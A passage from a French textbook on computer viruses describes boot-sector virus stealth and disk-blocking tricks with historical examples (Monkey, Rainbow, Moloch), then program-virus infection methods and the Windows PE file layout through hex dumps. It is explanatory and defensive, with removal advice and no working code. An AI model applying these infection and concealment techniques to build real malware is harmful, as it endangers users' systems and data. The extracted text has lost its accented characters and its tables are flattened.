Pour le virus, il sagit de se dissimuler aux yeux de lanti-virus comme ceux de lutilisateur. La furtivit peut se traduire par : Linterception des requtes en lecture du secteur infect afin de retourner le contenu du secteur original au programme appelant. En milieu infectieux, si la fonction 02h de linterruption 13h est dtourne, le virus sera mme de dissimuler sa prsence. Si la demande de lecture concerne un secteur o se trouve localis le virus, celui ci renverra une image saine provenant du secteur sauvegard. Lexcution dun redmarrage chaud (via linterruption 19h) alors quun redmarrage froid est demand (saut vers FFFFh:0000h). Linterception des requtes en criture vers le secteur infect. Celles-ci se produisent mais la rinfection est immdiate. FDISK /MBR1 est, par exemple, rendu inefficace. Linterdiction de lecture de certains secteurs (dtournement des interruptions 0Eh et 76h). Linterception des requtes daffichage de ltat de la mmoire afin quune commande telle que CHKDSK retourne une taille mmoire totale disponible maximale (gnralement 655.360 octets). Linstallation du code dans une zone immdiatement suprieure la barrire des 640 Ko. Cette technique fut utilise par EDV. L aussi, CHKDSK retourne la valeur standard.

Dunod La photocopie non autorise est un dlit

4.5.3 Inaccessibilit au disque


Interdire laccs au disque depuis un environnement sain est, on limagine, lun des concepts les plus recherch par les auteurs de virus. Il y a pour cela diverses mthodes. Certains virus ne conservent pas lespace ddi la table de partition. Cette technique rend laccs impossible au disque aprs un dmarrage sur une disquette saine. Une tentative daccs sur le disque C: renvoie un message signalant labsence de disque. Dans ce cas, la table est reconstitue en mmoire lors dun dmarrage en environnement contamin.
1. Le programme FDISK est ddi la conguration des disques durs. Lanc avec loption /MBR il permet la rcriture du programme damorce sans toucher la table des partitions.

152

Chapitre 4. Les virus systme

Face cette situation, il est tentant de lancer un formatage bas niveau du disque. Toutes ces manipulations qui entranent de facto la perte des donnes sont bien videmment inadaptes. La restauration de quelques octets grce lutilisation dun diteur hexadcimal offrant un accs en mode physique sur le disque rsout sans dlai le problme. Lun des virus utilisant ce procd date doctobre 1992 : cest Monkey. Le secteur des partitions est intgralement cras. Une copie du secteur original est sauvegarde sur le troisime secteur physique du disque. Tout comme le reste du secteur, la table des partitions na cependant pas la physionomie habituelle.
*********************** 1 secteur slectionn ***********************
.. 000001B0: 000001C0: 000001D0: 000001E0: 000001F0: 2E 2F 2E 2E 2E 2E 2E 2E 2E 2E 2E 28 2E 2E 2E 2E D0 2E 2E 2E 2E 51 2E 2E 2E 2E 2A 2E 2E 2E 2E 11 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E A8 2E 2E 2E 2E D4 2E 2E 2E 2E 11 2E 2E 2E 2E 2E 2E 2E 2E AE 2E 2E 2E 7B 2F 2E 2E 2E 84 .............../ /.(.Q*.......... ................ ................ ..............{.

nota : cryptage XOR 2Eh XOR 2Eh = 00h AEh XOR 2Eh = 80h (offset 1BEh) 2Fh XOR 2Eh = 01h (offset 1BFh)
Figure 4.19 Physionomie dune table de partition aprs infection par Monkey

Une tude attentive du secteur dmontre que chaque octet a t crypt par une fonction XOR dont la cl est 2Eh. Lradication manuelle consiste alors atteindre le disque en mode physique et transfrer vers le premier secteur, les donnes dcryptes prsentes dans le troisime. Un autre virus, Rainbow, est beaucoup plus pnalisant. Une fois le disque infect, il nest plus possible de latteindre, aussi bien en mode logique quen mode physique. Le processus de BOOT depuis une disquette saine naboutit jamais1. Seuls 25 octets du secteur des partitions sont modis. Le reste du code viral est crit dans 5 autres secteurs. Les 16 octets relatifs la partition active sont sauvegards dans le code complmentaire (secteur 6, offset 132h)2 et remplacs par la squence :
00 00 01 00 05 00 B8 0B 00 00 00 00 BC 01 00 00

1. Le virus est multipartite et non crypt. Il contient le message : HiAnMiT roy g biv *4U2NV* 04/12/94 Roy g biv est lacronyme des couleurs de larc-en-ciel : Red Orange Yellow Green Blue Indigo Violent. 4U2NV peut se lire For you to envy. 2. KAMINSKY Jakub (1995), Rainbow : To Envy or to Hate, Virus Bulletin, septembre 1995, pp12-13.

4.5 Techniques avances

153

Cette squence est interprte par le systme dexploitation comme tant relative une partition DOS tendue non-active : Dmarrant en cylindre 0, tte 0, secteur 1. Se terminant en cylindre 523, tte 0, secteur 56. Dmarrant au niveau du premier secteur physique du disque. Contenant 444 secteurs.

Linformation importante est ladresse du premier secteur qui se trouve tre la fois dni comme secteur de partition et de dmarrage. On a alors affaire une partition rcursive que le DOS, depuis la version 5, ne sait grer. Il sagit bien dun bogue qui avait t mis jour 2 ans plus tt par Mike Lambert & Charlie Moore1. Rapidement corrig par IBM ds la version PCDOS 6.1, Microsoft t la sourde oreille laissant son chier IO.SYS vulnrable avec les versions suivantes de MS-DOS. Les solutions pour atteindre un disque dur infect sont les suivantes : Dmarrer avec un MS-DOS plus ancien (v3.3 ou V4.01). Dmarrer avec un DOS IBM rcent (PCDOS 6.1 et suprieur). Modifier le fichier IO.SYS2.

4.5.4 Utilisation de secteurs supplmentaires


La taille de nombreux virus systme dpasse 512 octets. Ils doivent donc positionner le secteur dorigine et leur code complmentaire dans une zone protge. Plusieurs solutions sont possibles : Quelque part sur le cylindre 0 des disques durs (exemple : Jumper.B infectant un disque dur ). Sur le ou les derniers secteurs du rpertoire racine (exemple : Jumper.B infectant une disquette). Dans un ou plusieurs secteurs dclars mauvais (exemple : Form infectant une disquette). Sur les derniers secteurs du disque (exemple : Form infectant un disque dur). Une solution plus rarement rencontre a t imagine par lauteur de Den Zuko. Elle fut ensuite reprise dans des virus plus rcents tels que Stoned-Spirit. Une disquette contient normalement 40 ou 80 cylindres. Sur nos disquettes actuelles, ils sont numrots de 0 79. Il est cependant possible de formater un cylindre supplmentaire ; ce sera ici le cylindre 80. Il nest pas accessible par les utilitaires DOS ; mais un virus au travers de linterruption 13h en est parfaitement capable.
1. LAMBERT Mike, 1995, Circular Extended Partitions : Round and Round with DOS, Virus Bulletin, septembre 1995, pp 14-15. 2. Chercher la chane 07h 72h 03h (offset 2918h) et la remplacer par 07h 72h 06h.

Dunod La photocopie non autorise est un dlit

154

Chapitre 4. Les virus systme

4.5.5 Non-sauvegarde du secteur dorigine


Cette technique employe par plusieurs virus (exemple Anticmos) na rien de spectaculaire. Elle peut simplement tre pnalisante pour les puristes qui ne pourront rcuprer le secteur original et le restituer. De manire automatique ou manuelle, il faudra utiliser une sauvegarde ou crer de toute pice un nouveau secteur.

4.5.6 Multipartisme
Un virus multipartite (certains utilisent le terme de bivalent) cherche infecter les zones systmes des disques durs ou des disquettes et les fichiers excutables. Selon des critres propres chaque virus, lune ou lautre des techniques dinfection est mise en uvre un instant donn. Le but recherch est une plus grande propagation. Parmi les virus multipartites, citons : Flip, Tequila, One_Half.

4.5.7 Polymorphie
Les virus systme polymorphiques sont trs peu nombreux. Lun dentre eux, Moloch est apparu au printemps 1996. Un message, crypt dans le code indique :
OH-MY-GOD! Moloch (tm) is here! Moloch is a trademark of SquiBoyz

Le code complmentaire, crypt, est positionn sur les secteurs 3,4 et 5 du disque dur. Sur les disquettes, le virus cre un 80me cylindre selon la technique explicit plus avant dans le chapitre. De mme, le virus cherche modier la CMOS an dinterdire le dmarrage A: avant C:. La loi lie au moteur polymorphique est simple ; mais modiant peu doctets dans le secteur de dmarrage, la dtection sen trouve malaise. Moloch interverti les instructions de dplacements entre registres et mmoire. Il le fait tantt octet par octet, tantt mot par mot.

4.6 SPCIFICIT DES OS


Quelque soit le systme dexploitation, un virus systme reste dangereux : Sous DOS et en mode 16 bits de Windows : le virus utilisera toutes ses facults de propagation et de dommages ventuels. Au dmarrage de Windows 95/98, le systme recherche et examine o pointe linterruption 13h. Si elle pointe vers le BIOS (adresse > A000h), le mode 32 bits est autoris au cours du dmarrage.

4.6 Spcificit des OS

155

Si lINT 13h pointe en RAM, les pilotes 32 bits ne seront pas chargs et un virus systme conservera gnralement ses capacits de reproduction sur les disquettes qui lui seront prsentes. En mode 32 bits de Windows : le virus simplantera gnralement sur la machine. Il ny aura pas de propagation vers les disquettes. Si une action diffre en criture est programme, elle se droulera sans problme dans la mesure ou elle sopre alors que lordinateur travaille toujours en mode rel. Un virus initialisant un compteur pour craser une srie de secteurs aprs un nombre dfini de dmarrage est donc redouter. En environnement NTFS ou non-Windows : dans de rares cas, le virus se comportera comme prcdemment. Plus gnralement, il risque dcraser des secteurs vitaux lors de sa tentative dinfection du disque. Il en rsultera un chec au dmarrage. Sans lintervention dun spcialiste, le disque devra bien souvent tre reformat.

Dunod La photocopie non autorise est un dlit

5
Les virus programme

Apparus peu de temps aprs les virus systme, les virus programme sont longtemps rests quelques exceptions prs confins dans les collections. Les changes dexcutables dun utilisateur lautre restaient trop peu frquents. Si certains dentre eux ont atteint une vritable notorit cest quils furent malencontreusement diffuss sur des CD-ROM commerciaux. Nous allons dbuter ce chapitre en dcrivant les diverses mthodes dinfection. Nous naborderons pas dans le dtail la description des virus dancienne gnration ; ceux fonctionnant en environnement DOS. Nous privilgierons les pratiques actuelles. Plus technique que les autres, cette partie pourrait effrayer certains lecteurs. Pour comprendre les virus systme, nous avons d comprendre la mise en marche dun ordinateur. Une mme dmarche doit sappliquer aux virus programme : pour les comprendre, il faut se pencher pralablement sur la structure des excutables 32 bits. Pour rendre plus comprhensif cette seconde partie, de nombreuses images de code en mode hexadcimal vous sont proposes. Seul sur sa machine, le virus programme reste une menace de faible poids, mais associ la technique du ver, il devient la principale origine de nos soucis actuels.

5.1 MODES DINFECTION


Les virus programme cherchent infecter les excutables binaires compils. Plusieurs mthodes sont leur disposition.

158

Chapitre 5. Les virus programme

Figure 5.1 Virus programme

5.1.1 Recouvrement
Un virus par recouvrement se contente dcraser partiellement ou en totalit, le programme quil infecte. En consquence, il le dtriore et rend sa restitution impossible par lanti-virus. Dans certains cas, la taille du programme infect nest pas modifie ; dans les cas contraires, celle ci sajuste la taille du code viral et devient identique pour tout fichier infect. La destruction, mme partielle, du code originel fait que celui-ci ne peut plus fonctionner correctement et seul le code viral sexcute. Ces virus ne sont gnralement pas rsidents en mmoire. Le logiciel ne ralisant pas la fonction souhaite, lutilisateur les dtecte rapidement. Les virus agissant par recouvrement ne russissent jamais se dissminer largement. Un chier infect selon cette mthode ne peut qutre effac et remplac par son original sain dans le cas o une sauvegarde existe. titre dexemples, citons dans cette famille : BadGuy : Les 264 premiers octets des fichiers COM du sous-rpertoire courant sont tous crass. W32/HLL.ow.ANT.A : Les excutables sont remplacs par le code du virus. Tous les fichiers ont ensuite une taille identique 14.848 octets ; cest la taille du virus. W32/HLL.ow.Jetto : La taille du virus est de 7170 octets. Les 7170 premiers octets de chaque fichier sont crass par le code du virus. La suite des fichiers est inchange, ceux ci gardent leur taille dorigine. LINUX/Radix.ow : Il fonctionne selon la mthode prcdente mais en environnement LINUX. On retrouve cette technique dinfection par recouvrement dans dautres familles virales : VBS/Entice.ow est un virus VBScript qui agit selon cette mthode.

5.1 Modes dinfection

159

Figure 5.2 Infection par recouvrement, le virus crase tout

ou partie du code du programme hte

5.1.2 Ajout
Un virus par ajout modifie sa cible sans la dtruire. chaque lancement, le virus sexcute tout en prservant les fonctionnalits normales du programme. Il est possible de considrer le virus comme une sous-routine supplmentaire qui sexcute discrtement un moment donn puis rend la main au programme lgitime qui poursuit sa marche normale. La taille du programme est augmente de la taille du virus. Certains lments vitaux indispensables au bon fonctionnement du programme initial sont dplacs, sauvegards et modis. La restitution dun original sain consiste inverser le processus dinfection en restituant les valeurs originales avant llimination du code parasite qui, entre autres, les contient.
Dunod La photocopie non autorise est un dlit

Le code viral sexcute gnralement en premier. Plusieurs cas sont envisageables : Les registres de segment et doffset (CS:IP et SS:SP) des programmes DOS/ EXE sont modifis pour pointer sur le code viral. Ladresse du point dentre des programmes 32 bits est modifie pour pointer sur le code viral. Ladresse du dbut de programme est inchange, mais celui-ci dbute par une ou plusieurs instructions se concluant par un saut vers le code viral. Dans le cas de la technologie dite du point dentre obscur, le point dentre du programme et les instructions qui sy situent sont inchangs. Le virus positionne son saut dans un endroit quelconque mais soigneusement choisi du code de lhte. Cette technique est trs pnalisante pour les anti-virus qui doivent largir fortement leur zone de recherche.

160

Chapitre 5. Les virus programme

Figure 5.3 Infection par ajout

Le positionnement physique du code viral permet de prciser des sous-familles au sein de la mthode : Positionnement physique lavant. La terminologie anglaise utilise le terme de prepender. Positionnement physique larrire. La terminologie anglaise utilise le terme dappender. Positionnement physique central ou dispers. La majorit des virus programmes infectent par ajout. Citons pour lexemple : Jerusalem.1813 : La taille des fichiers COM augmente de 1813 octets avec un positionnement physique lavant. Cinq octets sont galement ajouts en fin de fichier. Il sagit de la signature du virus. Les EXE (DOS) grossissent de 1808 octets avec un positionnement larrire. Les registres de segment et doffset sont modifis pour faire pointer le dbut du programme vers cet endroit.

Figure 5.4 Infection par ajout (exemple de Jerusalem)

5.1 Modes dinfection

161

Cascade.1701 : Les fichiers COM, y compris le COMMAND.COM, augmentent en taille de 1701 octets. Le saut initial est modifi pour faire pointer le dbut du programme sur le code viral.

Figure 5.5 Infection par ajout (exemple de Cascade)

W95/Anxiety.1596 : Les fichiers EXE (PE) infects voient leur taille augmenter de 1596 octets. Le point dentre est modifi pour se rediriger sur le code viral. Comme nous le verrons plus loin, dautres paramtres situs dans les zones de lentte sont aussi modifis pour conserver une intgrit de structure.

Dunod La photocopie non autorise est un dlit

Figure 5.6 Infection par ajout (exemple de W95/Anxiety)

W32/Chiton.A : Ce virus datant de 2002 se positionne dans une zone quil samnage lintrieur du fichier quil infecte. Une partie du fichier sain se retrouve dcale vers la fin du fichier. Comme dans le cas prcdent, le point dentre est modifi.

162

Chapitre 5. Les virus programme

Figure 5.7 Infection par ajout (exemple de W32/Chiton.A)

One_Half : Ce virus fait parti des virus les plus vicieux de la famille. Le code viral se positionne larrire ; mais, pour latteindre, il faut suivre toute une srie dinstructions et de sauts que le virus dissmine une dizaine dendroits distincts. De tailles variables et totalement polymorphes, ces fractions de code rendent la dtection et lradication difficiles : il faudra les suivre pour esprer dcrypter le virus, puis, chaque fois, restaurer le code original que le virus a dplac.

Figure 5.8 Infection par ajout (exemple de One_Half.3544)

5.1.3 Infection par cavit simple


Pour un virus, linfection par cavit consiste positionner son code dans une ou plusieurs zones inutilises du programme quil cherche infecter. La consquence dune telle infection est la conservation de la taille du fichier. Par le pass, le chier COMMAND.COM fut la cible privilgie et les virus de cette famille taient aussi dnomms virus par entrelacement. Citons par exemple Lehigh. Il ciblait exclusivement le COMMAND.COM.

5.1 Modes dinfection

163

Pour le virus, la mthode la plus simple consiste rechercher dans les chiers quil rencontre des espaces sufsamment grands pour permettre laccueil de lensemble du code viral. On parle alors dinfection par cavit simple. Aujourdhui la structure des chiers 32 bits a permis un dveloppement de cette technique. De nombreuses zones contiennent des espaces libres de code. Avec le virus W32/Caw (anne 2000), lensemble du code est positionn en n de chier lorsquil rencontre un espace sufsant pouvant laccueillir.

Figure 5.9 Infection par cavit simple

5.1.4 Infection par fractionnement


Cette technique se rapproche souvent de linfection par cavit. Cest le cas lorsque le virus en utilise une srie dentre elles en positionnant des sauts lui permettant de chaner lexcution de son code dune cavit vers la suivante.

Dunod La photocopie non autorise est un dlit

Figure 5.10 Infection par fractionnement

164

Chapitre 5. Les virus programme

Dautres virus dissminent leur code en crasant des zones utilises. Les donnes qui vont ainsi recouvrir sont pralablement sauvegardes selon un mode par ajout.

5.1.5 Dlocaliss
Certains virus programmes placent leur code dans des secteurs inutiliss du disque. Dans ce cas, ils changent les paramtres des rpertoires pour re-diriger le lancement du programme vers le code viral. Celui ci rend ensuite la main au programme initial. Sans la moindre modification interne, lensemble des fichiers infects possde ensuite la mme adresse (cluster) de dpart. Ces virus sont peu nombreux mais peuvent savrer dangereux pour lintgrit des supports quils infectent. En effet, les utilitaires testant lintgrit dun disque dcouvriront des anomalies (chiers croiss) et se proposeront de les corriger en entranant des destructions irrmdiables.

Figure 5.11 Virus dlocalis

5.1.6 Compagnons
Certains virus programmes placent leur code dans un fichier spar qui, malgr une extension diffrente, porte le mme nom que le fichier cible. Il sagit des virus compagnons. Il existe une prsance dexcution pour les chiers excutables : les BAT puis les COM puis les EXE. Le virus compagnon va donc crer de toute pice un chier du mme nom que le programme quil cible. Il lui attribuera une extension diffrente et plus prioritaire. Si, lors de son appel excution, le nom seul est utilis (ce qui est gnralement le cas), ce sera le code viral qui sexcutera en premier. Il donnera ensuite la main au programme original pour ne pas risquer dalerter lutilisateur. Pour durcir son ventuelle dtection, certains virus placent leur code dans un autre rpertoire, prioritaire au sein de la variable systme path.

5.2 Lenvironnement 32 bits

165

Figure 5.12 Exemple de virus compagnon

5.2 LENVIRONNEMENT 32 BITS


Pour le grand public, les systmes 32 bits arrivent avec Windows-95/98. Cest un environnement multitche o chaque tche est indpendante. Lorsquun problme survient dans lexcution de lune dentre elles, le systme est conu pour ne pas compromettre le droulement des autres tches. Une couche logicielle tampon interdit thoriquement les changes entre un programme et le systme dexploitation proprement dit. Dans cet environnement, les chiers COM tendent disparatre alors que la structure des EXE est totalement diffrente de ce quelle tait. Le fonctionnement des virus DOS reposait sur lutilisation dinterruptions logicielles ou matrielles. Elles leurs font dfaut ici et les anciens virus ne se reproduisent plus. La seule gne se limite parfois un plantage de la fentre DOS ou un message derreur. Le d que prsentait ce nouvel environnement tait bien rel et les auteurs de virus se sont vite empresss de le relever. Tout comme il nous a fallu survoler la structure physique dun disque dur pour comprendre les virus systmes, nous allons maintenant dcouvrir celle des chiers dits W32-PE. Nous pourrons ensuite apprhender les techniques de contamination. Pour nous aider assimiler cette partie technique, nous allons nous appuyer sur la structure dun chier appt de 32 768 octets. Nous le nommerons PE-32K.EXE. Nous utiliserons quasi exclusivement la notation hexadcimale. Avec celle ci la taille du chier scrit 8000h. Chaque chiffre en notation hexadcimale se termine par la lettre h . Divers documents dcrivant ces chiers sont disponibles sur Internet. Nous nen dcrirons ici que les lments directement lis au fonctionnement des virus. La dnomination internationale du nom constituant cette structure sera gnralement conserve. Pour nombre dentre eux, une traduction franaise sera nanmoins propose. Ces dnominations proviennent gnralement du document Portable Executable Format de Michael J. OLeary1.
1. OLEARY, Micheal J. (1998), Portable Executable Format. Document disponible ladresse : http://www.sf-soft.de/winhex/kb/ff/PE_EXE.txt.

Dunod La photocopie non autorise est un dlit

166

Chapitre 5. Les virus programme

Dans cet univers particulier, le lecteur ne devra pas hsiter utiliser la calculatrice quil a sa disposition sur son ordinateur. Via le menu afchage, celle ci devra tre congure en mode scientique.

Figure 5.13 Interface scientifique de la calculatrice

5.2.1 Structure dun fichier 32 bits


Tout fichier PE est organis comme une succession linaire de sections de donnes.

Figure 5.14 Structure dun fichier 32 bits

5.2 Lenvironnement 32 bits

167

En-tte MS-DOS
Afin de rester compatible avec les anciens programmes sappuyant sur le DOS, il commence lui-mme par une structure compatible qui sen rapproche avec les fameux caractres MZ.
00000000: 00000010: 00000020: 00000030: 4D B8 00 00 5A 00 00 00 90 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF 00 00 80 FF 00 00 00 00 00 00 00 00 00 00 00 MZ

Deux informations intressantes sont ici disponibles (en gras).


Tableau 5.1 Quelques informations dans len-tte MS-DOS OFFSET [MZ + 18h] TAILLE (octets) 2 DSIGNATION File Address of Relocation Table Offset de la Table de Re-Allocation Si cette valeur est gale ou suprieure 40h, le programme est ddi lenvironnement Windows File Address of New Exe Header Offset de lEntte PE Cest uniquement au travers de cet offset que Windows dtermine la validit de lapplication quil tente de charger. Il charge la zone cible en mmoire pour y rechercher une signature valide. Cette zone se situe gnralement aprs le Micro-Programme Mode Rel.

[MZ + 3Ch]

Micro-programme mode rel


En anglais, Real-Mode Stub Program. Il sagit dun code qui, lorsquil est excut par le DOS, affiche gnralement un court message avant de se terminer. Typiquement, le message est l pour indiquer une erreur quant au choix de la plate-forme de lancement, il sapparente souvent au texte : This program cannot be run in DOS mode.
00000040: 00000050: 00000060: 00000070: 0E 69 74 6D 1F 73 20 6F BA 20 62 64 0E 70 65 65 00 72 20 2E B4 6F 72 0D 09 67 75 0D CD 72 6E 0A 21 61 20 24 B8 6D 69 00 01 20 6E 00 4C 63 20 00 CD 61 44 00 21 6E 4F 00 54 6E 53 00 68 6F 20 00 .......!..L.!Th is program canno t be run in DOS mode....$.......

Dunod La photocopie non autorise est un dlit

Signature et en-tte PE
00000080: 50 45 00 00 (PE Signature) 4C 01 05 00 91 99 A0 34 00 00 00 00 00000090: 00 00 00 00 E0 00 0E 01 PE

Les quatres premiers octets concernent la signature, ils dnissent le type du chier. Microsoft en donne la dnition suivante :
0x454E 0x454C 0x00004550 // // // NE LE PE00 IMAGE_OS2_SIGNATURE IMAGE_OS2_SIGNATURE_LE IMAGE_NT_SIGNATURE

168

Chapitre 5. Les virus programme

Labrviation NE (New Executable) sapplique aux chiers Windows 3.x, labrviation LE lenvironnement OS/2 et quelques VxD (Virtual Device Driver). Les chiers qui nous intressent ici sont ceux dont la signature est PE (Portable Executable). Ce sont les chiers que nous rencontrons dans les environnements Windows actuels. Citons parmi eux, ceux dont lextension est : exe, dll, ocx, scr. Aprs les 4h premiers octets de la signature se trouve lentte PE. Sa taille est de 14h octets. Loffset repris dans la liste ci-dessous, puis dans les suivantes, est calcul depuis la signature PE. Dans notre exemple, il se situe ladresse absolue 80h.
Tableau 5.2 Quelques informations dans len-tte PE OFFSET [PE] [PE + 06h] TAILLE (octet) 4 2 Signature Nombre dentres dans la table des objets Il sagit du nombre de sections. Cod sur 2 octets, il est, dans notre exemple, gal 0005h. Date et heure de cration Dans notre exemple 34A09991h correspond au 24/12/1997 06 :11 :45 PE Optional Header Taille de lEntte PE Optionnelle Dans notre exemple, sa valeur est 00E0h. DSIGNATION

[PE + 08h]

[PE + 14h]

En-tte optionnelle
Optionnelle de par son intitul, cette zone de donne est indispensable au bon fonctionnement du fichier. Elle nest donc absolument pas facultative. Elle dbute toujours par les octets : 010Bh et contient de nombreuses informations stratgiques.
00000090: 000000A0: 000000B0: 000000C0: 000000D0: 000000E0: 000000F0: 00000100: 00000110: 00000120: 00000130: 00000140: 00000150: 00000160: 00000170: 00 00 04 00 00 00 00 00 00 00 00 00 00 00 60 40 00 D0 00 00 B0 00 C0 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 28 00 20 00 00 00 00 00 00 00 00 04 10 00 00 00 03 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0B B0 00 04 00 00 00 00 00 00 00 00 A8 00 01 11 10 00 00 00 00 00 00 00 00 00 B0 00 03 00 00 00 00 10 00 00 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 80 00 2E 10 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

5.2 Lenvironnement 32 bits

169

Dans le tableau suivant, comme tout au long de ce chapitre, nous allons frquemment rfrencer des donnes relativement lAdresse de Base de lImage (en anglais, Image Base). Pour ce faire, nous utiliserons le sigle RVA (Relative Virtual Address). Cette RVA est une valeur qui, additionne ladresse physique, donne ladresse relle telle que lon peut la lire grce un dbuggeur ou un dsassembleur. Dans notre exemple, le chier est charg ladresse 0x00400000h et son point dentre est 0x11B0h. Lexcution dmarre donc RVA + 0x11B0h. En mmoire, ladresse du point dentre de lexcutable sera en 0x004011B0h. Si lexcutable tait charg en 0x01000000h (cest le cas pour de nombreuses versions de la calculatrice (CALC.EXE), le point dentre se situerait en 0x010011B0h.
Tableau 5.3 Quelques informations dans len-tte optionnelle OFFSET [PE + 28h] TAILLE (octet) 4 DSIGNATION EntryPoint RVA Offset du Point dEntre relatif lAdresse de Base de lImage Dans notre exemple : 0x11B0h. Ce champ pointe sur la premire instruction du programme. Celle ci se trouve gnralement dans la section .text. La plupart des virus modifient cette valeur afin de rediriger lexcution vers leur propre code. Elle cible alors souvent la dernire section. Image Base Adresse de Base de lImage Adresse laquelle est charge limage en mmoire Aprs compilation, cette information prend souvent la valeur 0x00400000h (cest le cas de notre exemple). Cest ladresse virtuelle du premier octet de limage du fichier tel quil a t charg en mmoire par le systme dexploitation (on y trouve le fameux MZ). Limage base est utilise par le systme dexploitation avec les adresses RVA pour former ladresse finale en mmoire. Object Align Alignement de lObjet Taille minimale quun objet (une section) peut occuper en mmoire. Cette valeur est couramment affiche 4096 octets, soit 1000h. File Align Alignement du Fichier Taille minimale affecte une zone de donnes avant son chargement en mmoire (frquemment 0200h). Pour que le systme dexploitation (le loader) accepte de charger un fichier, ces adresses doivent tre alignes sur une taille minimale. Elles doivent tre multiples de cette taille minimale.

[PE + 34h]

Dunod La photocopie non autorise est un dlit

[PE + 38h]

[PE + 3Ch]

170

Chapitre 5. Les virus programme

OFFSET [PE + 50h]

TAILLE (octet) 4

DSIGNATION Image Size Taille du Programme Taille totale que prendra limage dun fichier en mmoire. Elle est calcule en additionnant : la taille virtuelle de chacune des sections (lue dans la zone dentte des sections) arrondie pour devenir un multiple de la taille minimale autorise (champ Object Align), la taille totale des enttes (lue [PE + 50h]) arrondie selon la mme rgle. Header Size Taille de toutes les enttes Elle inclue la Table de Description des Objets (Object Table) et lensemble des sections jusquici dcrites. Export Table RVA Adresse Virtuelle Relative de la Table Export Taille Totale de la Table Export Import Table RVA Adresse Virtuelle Relative de la Table Import Taille Totale de la Table Import Resource Table RVA Adresse Virtuelle Relative de la Table Ressource Taille Totale de la Table Ressource Fixup Table RVA Adresse Virtuelle Relative de la Table Fixup Taille Totale de la Table Fixup Thread Local Storage RVA Adresse virtuelle relative de la zone de gestion des fils dexcution droulement parallle (les threads).

[PE + 54h]

[PE + 78h] [PE + 7Ch] [PE + 80h] [PE + 78h] [PE + 88h] [PE + 78h] [PE + A0h] [PE + 78h] [PE + C0h]

4 4 4 4 4 4 4 4 4

En-tte des sections


Cette zone dtaille les diffrentes sections contenues dans le fichier. Leurs noms et leurs rles sont gnralement prdfinis et malgr un nombre important dexceptions il est possible den tablir une liste non exhaustive.

5.2 Lenvironnement 32 bits

171

Tableau 5.4 Descriptif de quelques sections de type courant INTITUL Executable Code Section Section pour Code Executable NOM(S) .text ou text (compilateur Microsoft) .CODE ou CODE (compilateur Borland) Data Section Section des Donnes .bss .rdata .data Resources Section Section Ressource Export Data Section Section des Donnes Exportes Import Data Section Section des Donnes Importes Debug Information Section Section des Informations Dbuggeur Relocation Section Section pour Relocation .rsrc .edata .pdata .idata (Microsoft) .rdata (Borland) .debug Information de dbuggage Liste des fonctions importes Ressources Informations pour lappel des fonctions exportes Donnes variables (.bss) constantes (rdata) RLE, CONTENANCE Point dentre (EP-RVA) Code du programme

.reloc

Contient la table de relocation uniquement utile sil faut linker des programmes avec des symboles externes.

Description des sections


Dunod La photocopie non autorise est un dlit

Chaque section est dcrite sur 28 octets. La taille standard de cette entte est 287h octets. Elle permet de dcrire jusqu 10 sections. Les fichiers en contenant gnralement moins, une partie de lespace est gnralement inoccupe et vide (00h).
00000170: 00000180: 00000190: 000001A0: 000001B0: 000001C0: 000001C0: 000001D0: 000001E0: 000001F0: 00000200: 00000210: 00000210: 00000220: 00000230: 60 00 2E 00 00 C4 00 2E 00 00 2D 00 72 04 00 52 00 69 04 00 00 00 64 00 00 00 00 64 00 00 00 00 61 00 00 00 00 61 00 00 00 00 74 00 40 00 00 74 00 40 10 00 61 32 00 50 00 61 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 C0 2E 00 00 87 00 2E 00 00 52 00 74 2E 00 03 00 64 42 00 03 00 65 00 00 00 00 61 00 00 00 00 78 00 00 00 00 74 00 00 00 00 74 00 20 00 00 61 00 40 00 00 00 04 00 40 00 00 36 00 B0 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 00 C0 00 00 .text .rdata .data .idata .reloc

FE 03 00 00 00 C0 00 00 00 00 00 00 00 00 00 00

2E 72 65 6C 6F 63 00 00 00 04 00 00 00 7C 00 00 00 00 00 00 40 00 00 42

172

Chapitre 5. Les virus programme

Tableau 5.5 Informations lies au descriptif des sections OFFSET [00h] [08h] [0Ch] [10h] TAILLE (octets) 8 4 4 4 DSIGNATION Nom de la section Le premier caractre est souvent un point (2Eh]. Taille Virtuelle de la section Adresse Virtuelle Offset relatif ladresse de base de limage. Taille Physique Elle doit tre plus petite que la Taille Virtuelle et multiple de la valeur dalignement du fichier [PE + 3Ch]. Adresse Physique Offset relatif au dbut du fichier. Caractristiques Code sur 4 octets, ce champ en prcise les attributs (voir tableau suivant). Tableau 5.6 Caractristiques dune section Caractristiques dune section Valeur 0x10h 0x20h 0x40h 0x60h 0x80h 0xC0h 0xE0h 0x01h 0x02h 0x04h 0x08h 0x20h 0x40h 0x80h La section peut tre supprime La section ne peut tre mise en cache La section nest pas paginable Code Excutable Constantes (Initialized data) Variables (Un-initialized data) Autorisation pour la section Partage Excution Lecture Lecture + Excution criture Lecture + criture Lecture + Excution + criture Relocations tendues Contenance

[14h] [24h]

4 4

5.2 Lenvironnement 32 bits

173

Les caractristiques dune section se dclinent par une simple addition. Il est possible de prciser pour lexemple ci-dessus :
Tableau 5.7 Exemple de caractristiques de sections courantes Nom de la section .text Caractristique 0x20000000h + 0x40000000h + 0x00000020h -----------------= 0x60000020h 0x40000000h + 0x00000040h -----------------= 0x40000040h 0x40000000h + 0x80000000h + 0x00000040h -----------------= 0xC0000040h 0x40000000h + 0x80000000h + 0x00000040h -----------------= 0xC0000040h 0x40000000h +0x02000000h + 0x00000040h -----------------= 0x42000040h Remarques Lecture et excution autorise. La section contient du code excutable.

.rdata

Lecture seule autorise. La section contient des constantes.

.data

